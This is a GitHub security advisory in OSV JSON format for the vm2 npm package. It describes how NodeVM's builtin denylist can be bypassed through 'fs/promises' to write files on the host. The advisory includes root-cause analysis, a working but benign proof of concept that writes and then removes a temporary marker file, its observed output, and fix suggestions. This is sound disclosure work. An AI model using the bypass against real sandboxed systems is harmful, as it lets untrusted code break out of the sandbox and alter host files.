{"id":"GHSA-6rh5-qq4q-97xh","summary":"vm2: NodeVM builtin denylist bypass via fs/promises despite -fs, allowing host filesystem writes","details":"## Summary\n\nNodeVM's builtin wildcard policy can allow sandboxed code to access `fs/promises` even when the embedder denies `fs`.\n\nWith the following configuration:\n\n```js\nrequire: {\n  builtin: ['*', '-fs', '-child_process']\n}\n```\n\n`require('fs')` and `require('child_process')` are blocked, but `require('fs/promises')` and `require('node:fs/promises')` are still available. This allows sandboxed code to create and write files on the host filesystem through the promise-based filesystem API.\n\n## Affected Mode\n\nNodeVM.\n\n## Affected Configuration\n\n```js\nnew NodeVM({\n  require: {\n    builtin: ['*', '-fs', '-child_process']\n  }\n});\n```\n\nThis affects configurations where users rely on negative builtin entries such as `-fs` to deny filesystem access while using the `'*'` builtin wildcard.\n\n## Affected Files / Functions\n\n- `lib/builtin.js`\n  - `DANGEROUS_BUILTINS`\n  - `BUILTIN_MODULES`\n  - `makeBuiltinsFromLegacyOptions`\n  - `addDefaultBuiltin`\n- `lib/resolver.js`\n  - `Resolver.resolve`\n  - `Resolver.loadBuiltinModule`\n- `lib/setup-node-sandbox.js`\n  - `requireImpl`\n\n## Root Cause\n\n`lib/builtin.js` builds `BUILTIN_MODULES` from Node's builtin module list and filters dangerous/default-denied modules. In wildcard mode, negative entries are checked by exact name:\n\n```js\nif (builtins.indexOf(`-${name}`) === -1) {\n  addDefaultBuiltin(res, name, hostRequire);\n}\n```\n\nThis means `-fs` removes only the exact builtin named `fs`. It does not remove builtin subpaths such as `fs/promises`.\n\nThere is also inconsistent `node:` prefix handling. `require('node:fs/promises')` resolves through the same builtin capability, but a negative entry such as `-node:fs/promises` does not block `require('fs/promises')`.\n\n## Security Boundary Crossed\n\nSandboxed code can perform host filesystem writes even though the embedder denied `fs`.\n\n## Impact\n\nConfirmed impact:\n\n- Host file creation\n- Host file write\n\nThe proof uses `fs/promises.writeFile()` to create a harmless temporary file containing a marker string.\n\nAdditional reachable APIs on `fs/promises` include filesystem operations such as `cp`, `mkdir`, `rename`, `rm`, `rmdir`, `truncate`, and others. These were not used destructively in the proof.\n\n## Safe Local Reproduction\n\nTested on Node.js `v24.14.0`.\n\nThis proof does not execute OS commands and does not use destructive filesystem operations. It creates a temporary proof file, verifies the marker, then removes the file.\n\n```js\n'use strict';\n\nconst fs = require('fs');\nconst os = require('os');\nconst path = require('path');\nconst { NodeVM } = require('./');\n\nconst proofPath = path.join(os.tmpdir(), `vm2-fs-promises-proof-${process.pid}.txt`);\nconst marker = `vm2-fs-promises-marker-${process.pid}`;\n\ntry {\n  fs.unlinkSync(proofPath);\n} catch (_) {}\n\n(async () =\u003e {\n  const vm = new NodeVM({\n    require: {\n      builtin: ['*', '-fs', '-child_process']\n    }\n  });\n\n  const result = await vm.run(`\n    module.exports = (async () =\u003e {\n      const r = {};\n\n      try {\n        require('fs');\n        r.fsLoaded = true;\n      } catch (e) {\n        r.fsBlocked = true;\n        r.fsError = e && e.code;\n      }\n\n      try {\n        require('child_process');\n        r.childProcessLoaded = true;\n      } catch (e) {\n        r.childProcessBlocked = true;\n        r.childProcessError = e && e.code;\n      }\n\n      const fsp = require('fs/promises');\n      r.fsPromisesLoaded = true;\n      r.fsPromisesKeys = Object.keys(fsp).slice(0, 12).sort();\n\n      await fsp.writeFile(${JSON.stringify(proofPath)}, ${JSON.stringify(marker)}, 'utf8');\n      r.wrote = true;\n\n      return r;\n    })();\n  `);\n\n  const exists = fs.existsSync(proofPath);\n  const content = exists ? fs.readFileSync(proofPath, 'utf8') : null;\n\n  console.log(JSON.stringify({\n    result,\n    hostFileExists: exists,\n    hostFileContent: content\n  }, null, 2));\n\n  try {\n    fs.unlinkSync(proofPath);\n  } catch (_) {}\n})().catch(error =\u003e {\n  try {\n    fs.unlinkSync(proofPath);\n  } catch (_) {}\n  console.error(error);\n  process.exitCode = 1;\n});\n```\n\nObserved result:\n\n```json\n{\n  \"result\": {\n    \"fsBlocked\": true,\n    \"fsError\": \"ENOTFOUND\",\n    \"childProcessBlocked\": true,\n    \"childProcessError\": \"ENOTFOUND\",\n    \"fsPromisesLoaded\": true,\n    \"wrote\": true\n  },\n  \"hostFileExists\": true,\n  \"hostFileContent\": \"vm2-fs-promises-marker-\u003cpid\u003e\"\n}\n```\n\nAdditional local checks:\n\n- `require('node:fs/promises')` also loads and can write the proof file.\n- Adding `-fs/promises` blocks `require('fs/promises')`.\n- Adding only `-node:fs/promises` does not block `require('fs/promises')`.\n\n## Expected Secure Behavior\n\nIf an embedder denies `fs`, NodeVM should deny the whole filesystem builtin family, including:\n\n- `fs`\n- `fs/promises`\n- `node:fs`\n- `node:fs/promises`\n\nNegative entries with and without `node:` should be normalized consistently.\n\n## Suggested Fix\n\n1. Normalize builtin names before allow/deny checks:\n   - Strip `node:` for comparison.\n   - Use one canonical key form internally.\n\n2. Treat negative builtin entries as family denials where appropriate:\n   - `-fs` should block `fs/promises`.\n   - `-inspector` already conceptually blocks `inspector/promises`; apply the same family logic to user-provided negative entries.\n\n3. Add regression tests for:\n   - `builtin: ['*', '-fs']` blocks `fs/promises`.\n   - `builtin: ['*', '-fs']` blocks `node:fs/promises`.\n   - `-node:fs/promises` and `-fs/promises` behave equivalently.\n   - Explicit allowlist behavior is documented and covered.","aliases":["CVE-2026-92958"],"modified":"2026-10-01T15:45:07.620282491Z","published":"2026-10-01T15:36:48Z","database_specific":{"nvd_published_at":null,"cwe_ids":["CWE-269","CWE-284"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-10-01T15:36:48Z"},"references":[{"type":"WEB","url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-6rh5-qq4q-97xh"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-92958"},{"type":"WEB","url":"https://github.com/patriksimek/vm2/commit/59d35f68e52a9bd229a8a72bcd9274bd4cec2bc5"},{"type":"PACKAGE","url":"https://github.com/patriksimek/vm2"},{"type":"WEB","url":"https://github.com/patriksimek/vm2/releases/tag/v3.11.7"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/vm2-before-3.11.7-denylist-bypass-via-fs-promises"}],"affected":[{"package":{"name":"vm2","ecosystem":"npm","purl":"pkg:npm/vm2"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.11.7"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 3.11.6","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-6rh5-qq4q-97xh/GHSA-6rh5-qq4q-97xh.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:L"}]}